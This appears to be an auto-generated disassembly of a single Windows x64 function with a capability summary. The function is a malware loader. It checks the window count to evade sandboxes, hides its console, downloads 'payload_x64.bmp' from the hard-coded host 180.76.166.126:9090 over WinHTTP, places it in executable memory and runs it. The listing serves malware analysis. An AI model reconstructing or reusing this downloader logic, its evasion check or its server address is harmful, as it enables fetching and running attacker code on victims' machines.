Function at 0x4032e0
Capabilities:
Enumerate gui resources
Hide graphical window
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xa8]
call fcn.00401cd0
mov dword [rsp + 0xa8], 0
mov rdx, rbp
lea rcx, [0x00401a50]
call qword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
je 0x40332d
cmp dword [rsp + 0xa8], 0xa
jle 0x403620
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.111111111
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x8c], 0
mov dword [rsp + 0x90], 0
call sub.WINHTTP.dll_WinHttpOpen
test rax, rax
mov r12, rax
je 0x403516
lea rdx, str.180.76.166.126
xor r9d, r9d
mov r8d, 0x2382
mov rcx, rax
call sub.WINHTTP.dll_WinHttpConnect
test rax, rax
mov r13, rax
je 0x403516
lea r8, str.payload_x64.bmp
lea rdx, [0x00405058]
xor r9d, r9d
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rcx, rax
mov qword [rsp + 0x20], 0
call sub.WINHTTP.dll_WinHttpOpenRequest
test rax, rax
mov rdi, rax
je 0x403519
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rcx, rax
mov dword [rsp + 0x20], 0
call sub.WINHTTP.dll_WinHttpSendRequest
test eax, eax
jne 0x403636
lea rsi, [rsp + 0xa0]
lea rbx, [rsp + 0x98]
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
or rcx, 0xffffffffffffffff
mov r9, rsi
mov rdx, rbx
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], 0x60000
call fcn.00401910
lea rax, [rsp + 0x94]
mov dword [rsp + 0x94], 0
mov r9d, 0x20
mov r8, rsi
mov rdx, rbx
mov qword [rsp + 0x20], rax
or rcx, 0xffffffffffffffff
call fcn.00401960
mov rax, qword [rsp + 0x98]
or r9, 0xffffffffffffffff
xor r8d, r8d
mov edx, 0x1fffff
mov rcx, rbp
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0xa8], r9
call fcn.004019b0
mov ecx, 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
call fcn.00401a00
mov rcx, rdi
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rcx, r13
call sub.WINHTTP.dll_WinHttpCloseHandle
jmp 0x403613
xor r13d, r13d
lea rsi, [rsp + 0xa0]
lea rbx, [rsp + 0x98]
xor r8d, r8d
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
mov r9, rsi
mov rdx, rbx
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], 0x60000
call fcn.00401910
lea rax, [rsp + 0x94]
or rcx, 0xffffffffffffffff
mov r9d, 0x20
mov r8, rsi
mov rdx, rbx
mov dword [rsp + 0x94], 0
mov qword [rsp + 0x20], rax
call fcn.00401960
mov rax, qword [rsp + 0x98]
or r9, 0xffffffffffffffff
xor r8d, r8d
mov edx, 0x1fffff
mov rcx, rbp
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0xa8], r9
call fcn.004019b0
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], 0
mov rdx, rbp
mov ecx, 1
call fcn.00401a00
test r13, r13
jne 0x403509
test r12, r12
je 0x403620
mov rcx, r12
call sub.WINHTTP.dll_WinHttpCloseHandle
xor eax, eax
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
xor edx, edx
mov rcx, rdi
call sub.WINHTTP.dll_WinHttpReceiveResponse
mov ebx, eax
lea rax, [rsp + 0x98]
lea r9, [rsp + 0xa0]
xor r8d, r8d
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
mov rdx, rax
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], 0x60000
mov qword [rsp + 0x78], r9
mov qword [rsp + 0x70], rax
call fcn.00401910
test ebx, ebx
mov rsi, qword [rsp + 0x98]
je 0x40372f
lea rax, [rsp + 0x90]
lea r15, [rsp + 0x8c]
mov qword [rsp + 0x68], rax
nop dword [rax + rax]
mov rdx, r15
mov rcx, rdi
mov dword [rsp + 0x8c], 0
call sub.WINHTTP.dll_WinHttpQueryDataAvailable
mov r14d, dword [rsp + 0x8c]
mov edx, 1
lea ecx, [r14 + 1]
call sub.msvcrt.dll_calloc
mov r9, qword [rsp + 0x68]
mov r8d, r14d
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call sub.WINHTTP.dll_WinHttpReadData
mov r8d, dword [rsp + 0x8c]
mov rcx, rsi
mov rdx, rbx
call fcn.00401a70
mov edx, dword [rsp + 0x8c]
mov rcx, rbx
mov r14, rdx
add rsi, rdx
call sub.msvcrt.dll_free
test r14d, r14d
jne 0x4036c0
lea rax, [rsp + 0x94]
mov dword [rsp + 0x94], 0
mov r9d, 0x20
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
jmp 0x40347e